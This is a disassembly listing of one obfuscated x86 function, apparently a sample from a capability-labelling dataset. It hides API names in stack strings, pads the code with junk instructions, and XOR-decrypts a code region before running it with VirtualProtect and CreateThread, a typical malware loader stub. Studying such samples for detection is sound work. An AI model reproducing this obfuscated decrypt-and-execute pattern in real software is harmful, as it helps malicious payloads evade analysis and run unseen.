Function at 0xa99210
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ecx
push ebx
pop ebx
pop ecx
pushfd
push 0x3c29b06a
add esp, 4
popfd
call fcn.00a99611
xchg edi, edi
pushfd
push edx
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push edx
push edi
pop edi
pop edx
mov ebx, 0x61
pushfd
xor esi, 0x73aaddb3
xor esi, 0x73aaddb3
popfd
add bx, 0xa
pushfd
push ecx
add esp, 4
popfd
pushfd
xor esi, 0x9aacd08a
xor esi, 0x9aacd08a
popfd
mov word [eax], bx
xchg edi, eax
xchg edi, eax
sub bx, 6
pushfd
xor esi, 0x5bebeef9
xor esi, 0x5bebeef9
popfd
xchg esi, edx
xchg edx, esi
mov word [eax + 2], bx
xchg edi, edi
add bx, 0xd
pushfd
inc ebx
dec ebx
popfd
mov edi, edi
mov word [eax + 4], bx
push eax
pop eax
xchg esi, esi
sub bx, 4
pushfd
inc esi
dec esi
popfd
mov word [eax + 6], bx
pushfd
push edx
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
sub bx, 9
push ecx
push ebx
pop ebx
pop ecx
mov word [eax + 8], bx
mov edx, edx
add bx, 7
pushfd
push eax
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
inc ebx
dec ebx
popfd
sub bx, 0x39
pushfd
push 0x93749953
add esp, 4
popfd
xchg ecx, ecx
mov word [eax + 0xc], bx
pushfd
inc esi
dec esi
popfd
dec bx
mov ebx, ebx
mov word [eax + 0xe], bx
nop
sub bx, 4
pushfd
push ebx
add esp, 4
popfd
mov ebx, ebx
mov word [eax + 0x10], bx
pushfd
push 0x8d17959e
add esp, 4
popfd
add bx, 0x36
pushfd
xor eax, 0xedb586d1
xor eax, 0xedb586d1
popfd
mov word [eax + 0x12], bx
push edx
pop edx
nop
add bx, 8
xchg ebx, ebx
push ebx
push edx
pop edx
pop ebx
mov word [eax + 0x14], bx
pushfd
push 0xb4e3920c
add esp, 4
popfd
mov word [eax + 0x16], bx
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 0x18], 0
pushfd
push edi
add esp, 4
popfd
pushfd
push 0x701b764f
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg edx, edx
mov dword [ebp - 0x10], eax
push edx
pop edx
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0xd8]
xchg esi, esi
mov edi, edi
mov ebx, 0x61
push eax
push edi
pop edi
pop eax
pushfd
inc edx
dec edx
popfd
sub bl, 0xb
mov ebx, ebx
mov esi, esi
mov byte [eax], bl
push esi
push eax
pop eax
pop esi
push eax
push ecx
pop ecx
pop eax
add bl, 0x13
pushfd
push 0x440797bf
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
inc ebx
dec ebx
popfd
pushfd
inc esi
dec esi
popfd
add bl, 9
pushfd
xor edx, 0x61c7aaf4
xor edx, 0x61c7aaf4
popfd
pushfd
xor ebx, 0xe35926ba
xor ebx, 0xe35926ba
popfd
mov byte [eax + 2], bl
xchg edi, ebx
xchg ebx, edi
add bl, 2
xchg edi, eax
xchg edi, eax
mov esi, esi
mov byte [eax + 3], bl
push esi
push ebx
pop ebx
pop esi
inc bl
pushfd
inc eax
dec eax
popfd
mov byte [eax + 4], bl
pushfd
xor esi, 0x774d257e
xor esi, 0x774d257e
popfd
sub bl, 0x14
push edi
pop edi
mov edx, edx
mov byte [eax + 5], bl
push edx
pop edx
add bl, 0xb
push edi
pop edi
mov byte [eax + 6], bl
pushfd
xor edi, 0xb61d1154
xor edi, 0xb61d1154
popfd
pushfd
push 0x9da8b6bf
add esp, 4
popfd
sub bl, 0x1c
push ecx
push ebx
pop ebx
pop ecx
mov byte [eax + 7], bl
xchg esi, eax
xchg esi, eax
add bl, 0x22
pushfd
xor eax, 0xd2754dbd
xor eax, 0xd2754dbd
popfd
mov byte [eax + 8], bl
nop
sub bl, 3
push ebx
pop ebx
mov byte [eax + 9], bl
xchg ecx, eax
xchg ecx, eax
add bl, 5
pushfd
xor eax, 0xbccb51a0
xor eax, 0xbccb51a0
popfd
mov byte [eax + 0xa], bl
pushfd
inc edx
dec edx
popfd
push edi
pop edi
sub bl, 0xf
push ebx
push edx
pop edx
pop ebx
xchg esi, esi
mov byte [eax + 0xb], bl
pushfd
push ecx
add esp, 4
popfd
push ecx
pop ecx
sub bl, 2
push esi
pop esi
push edi
pop edi
mov byte [eax + 0xc], bl
pushfd
xor esi, 0xbe6d6e0f
xor esi, 0xbe6d6e0f
popfd
add bl, 0x11
mov edi, edi
mov byte [eax + 0xd], bl
push ecx
pop ecx
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 0xe], 0
pushfd
push 0x80886747
add esp, 4
popfd
pushfd
push 0xaa6e286a
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov ecx, ecx
mov dword [ebp - 0xc], eax
pushfd
xor edx, 0x31df3e1e
xor edx, 0x31df3e1e
popfd
lea eax, [ebp - 8]
push esi
push ecx
pop ecx
pop esi
push eax
push edi
pop edi
pop eax
push eax
push 4
push 0x4656aa
push entry0
call dword [ebp - 0xc]
pushfd
push 0x5bcd27f0
add esp, 4
popfd
push ecx
pop ecx
mov edi, entry0
xchg ebx, edi
xchg edi, ebx
pushfd
xor edi, 0xcfe8e44b
xor edi, 0xcfe8e44b
popfd
mov esi, 0x40100e
pushfd
push 0x91000c2f
add esp, 4
popfd
mov ecx, 0x4656aa
xchg edx, ecx
xchg ecx, edx
xchg ecx, edx
xchg edx, ecx
mov edx, 0x7166e553
pushfd
xor ebx, 0xccc8b167
xor ebx, 0xccc8b167
popfd
mov ebx, 0x9995039f
pushfd
push ecx
add esp, 4
popfd
pushfd
xor esi, 0xaa42f90f
xor esi, 0xaa42f90f
popfd
cld
xchg edi, edi
lodsb al, byte [esi]
xchg ebx, ebx
xor al, dl
nop
stosb byte es:[edi], al
mov eax, eax
ror edx, 5
xchg ecx, ecx
imul edx, edx, 7
xchg ebx, ebx
test ebx, 1
mov eax, eax
je 0xa9958c
mov eax, eax
add esi, 1
xchg edx, edx
ror ebx, 1
mov edi, edi
dec ecx
nop
test ecx, ecx
xchg ecx, ecx
jne 0xa99566
xchg edx, eax
xchg edx, eax
pushfd
push edi
add esp, 4
popfd
lea eax, [ebp - 8]
xchg ecx, edx
xchg edx, ecx
pushfd
inc ecx
dec ecx
popfd
push eax
push 0x20
push 0x4656aa
push entry0
call dword [ebp - 0xc]
mov ecx, ecx
lea eax, [ebp - 4]
pushfd
push eax
add esp, 4
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push edx
add esp, 4
popfd
push edx
pop edx
pushfd
push 0x4e3aa8eb
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg edx, edx
pushfd
push edi
add esp, 4
popfd
jmp 0xa995e0